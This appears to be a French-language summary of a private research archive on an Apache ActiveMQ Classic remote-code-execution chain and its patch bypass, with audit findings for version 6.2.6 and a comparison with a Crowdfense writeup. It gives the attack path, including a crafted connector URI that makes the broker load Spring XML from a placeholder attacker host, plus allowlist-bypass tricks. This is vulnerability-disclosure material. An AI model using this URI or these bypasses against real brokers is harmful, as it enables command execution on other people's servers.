Recherche sur l'exécution de code à distance (RCE) dans Apache ActiveMQ Classic : chaîne de contournement CVE-2026-34197 / CVE-2026-42588 + constats d'audit de hardened-6.2.6 + comparaison avec Crowdfense
Archive de recherche privée pour la chaîne d'exécution de code à distance Jolokia → addNetworkConnector → xbean/Spring-XML d'Apache ActiveMQ Classic (CVE-2026-34197 et son contournement de correctif CVE-2026-42588), plus un audit complet de recherche automatique de la version corrigée 6.2.6 et une comparaison côte à côte avec l'article public de contournement de Crowdfense.
Toute l'exploitation a été réalisée contre des courtiers de laboratoire locaux (Docker / auto-hébergés). Les charges utiles utilisent des hôtes attaquants fictifs.
Audit de recherche automatique du 6.2.6 durci : rapport final + registre des découvertes
Les arbres sources du fournisseur et les distributions binaires utilisées pendant les laboratoires sont intentionnellement exclus (ils sont en amont, pas les nôtres).
La vulnérabilité en une ligne
Un appelant Jolokia authentifié (non authentifié sur 6.0.0–6.1.1 via CVE-2024-32114) invoque BrokerView.addNetworkConnector(uri) avec une URI de découverte conçue dont l'intérieur vm://…?brokerConfig=xbean:<url> force le courtier à charger un XML Spring contrôlé par l'attaquant, ce qui instancie avec empressement un bean ProcessBuilderavant la validation du courtier → exécution de commande OS.
root@kitploit:~
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Découvertes
En résumé : trois découvertes sont prouvées en direct pour root/XSS ; l'audit 6.2.6 ajoute un ensemble plus large qui est vérifié à la source et évalué de manière adverse, mais pas encore détoné en direct. Aucun des suppléments 6.2.6 n'est une nouvelle RCE non authentifiée — le fournisseur a fermé ces portes ; le risque résiduel s'est déplacé vers l'autorisation et l'encodage de sortie.
En direct — uid=0 sur 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7
CVE-2026-42588
Contournement composite sans parenthèses de la liste de blocage 34197
RCE (contournement de correctif)
Critique
Post-authentification
En direct — uid=0 sur 5.19.6 + 6.2.0 patchés 34197
CVE-2026-42253
Injection d'en-tête MessageServlet → XSS stocké
Injection / XSS
Moyen
Post-authentification
En direct sur 6.2.0
Nouveaux de l'audit 6.2.6 (vérifiés à la source)
ID
Découverte
Classe
Sévérité
Auth
Notes
C1
static:faille de liste de blocage → SSRF — static absente de DENIED_TRANSPORT_SCHEMES ; addNetworkConnector("static:(tcp://…)") → TCP sortant du courtier
SSRF
Moyen
Admin / JMX
Variante de sink au-delà de la même liste de blocage 34197/42588 que l'article couvre
B1
Abonnement durable IDOR de suppression cross-clientId — removeSubscription se base sur le clientId fourni par le fil et n'est pas verrouillé dans AuthorizationBroker
Autorisation brisée / IDOR
Moyen
Post-authentification (pré-authentification si l'authentification du courtier est désactivée)
Le plus propre des nouveaux
B3
LDAP mot de passe vide → liaison anonyme (LDAPLoginModule, aucune vérification de vacuité)
Contournement d'authentification
Moyen (conditionnel)
Pré-authentification
Conditionnel à ce que l'annuaire accepte les liaisons anonymes
A1–A7
Famille d'injection d'encodage de sortie de la console — MessageId.textView contrôlé par l'attaquant (OpenWire v10+ et AMQP) non échappé dans ~7 sinks JSP/REST + traversée de chemin FileSystemBlobStrategy
Injection
Faible–Moyen
Producteur → administrateur
Limité par CSP à l'injection HTML/contenu par défaut
B2
Shiro WildcardPermissionescalade de verbe par injection de deux-points
Élévation de privilèges
Faible–Moyen
Post-authentification
Shiro non par défaut
B4
Autorisation de destination temporaire échec-ouvert asymétrique vs échec-fermé non temporaire
Autorisation brisée
Faible
Post-authentification
Par conception (AMQ-4721) ; note de durcissement
B5
StatisticsBrokerreplyTo lorsque le plugin est ordonné avant l'autorisation
Hors périmètre — Déni de service (catalogué, pas en titre)
AIOOBE ordinal MQTT QoS (QoS.values()[ordinal], cross-protocole, sans configuration) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException signed-short dans le démarshalage OpenWire · job immortel AMQ_SCHEDULED_REPEAT négatif.
Comparaison avec l'article de Crowdfense
L'article Apache ActiveMQ RCE Bypass de Crowdfense couvre la même chaîne (ils la classent sous CVE-2026-34197 ; nous suivons le contournement comme son propre CVE-2026-42588). Les deux récits convergent sur une défense à trois couches ; la seule divergence est la couche 2.
Couche
Défense
Crowdfense la contourne par
Nous l'avons contournée par
1
Liste de blocage de schéma (correctif 34197)
Composite sans parenthèses static:vm://…
Identique — trouvé indépendamment ✅
2
Liste d'autorisation {file,classpath} xbean (#1910)
file:%2f%2f… encodé en pourcentage → Windows UNC → WebDAV → récupération HTTP distante
Fichier localxbean:/tmp/evil.xml (nécessite une écriture locale)
3
Passerelle de schéma VMTransportFactory (broker,properties, le correctif 42588 / 6.2.6)
Reconnu comme le coup fatal
Même conclusion ✅
La seule lacune : leur astuce d'encodage en pourcentage de la couche 2 + UNC/WebDAV réalise une livraison entièrement distante sans primitive d'écriture locale. Le défaut de classificateur qu'elle exploite (activemq-spring/Utils.java:123-129, un startsWith("file://") brut sur la chaîne non décodée) est présent dans notre source exacte — mais la moitié distante est Windows uniquement (Linux traite //host/share comme un chemin local), et notre laboratoire était Linux, donc cela n'y était pas exerçable. C'est de toute façon mort sur 6.2.6 (la passerelle de schéma VMTransportFactory rejette xbean avant que Utils ne s'exécute).
Suivi : un hébergé sous Windows 5.19.6 (ou toute version pré-5.19.7/6.2.6) + écouteur SMB/WebDAV nous permettrait de démontrer le contournement entièrement distant de la liste d'autorisation — la seule capacité que l'article possède et que notre engagement n'a pas montrée.
Correctif (ActiveMQ 6.2.6)
Trois commits ferment la chaîne : c1b44af11 (valider les URI composites sans parenthèses — parseComposite inconditionnellement + récursion), c2fc7a1d6 (bloquer XBeanBrokerFactory par défaut via la liste d'autorisation de schéma VMTransportFactory), et be8415f24 (durcissement de la configuration exemple : Jolokia en boucle locale, liste de refus d'opérations avec addNetworkConnector).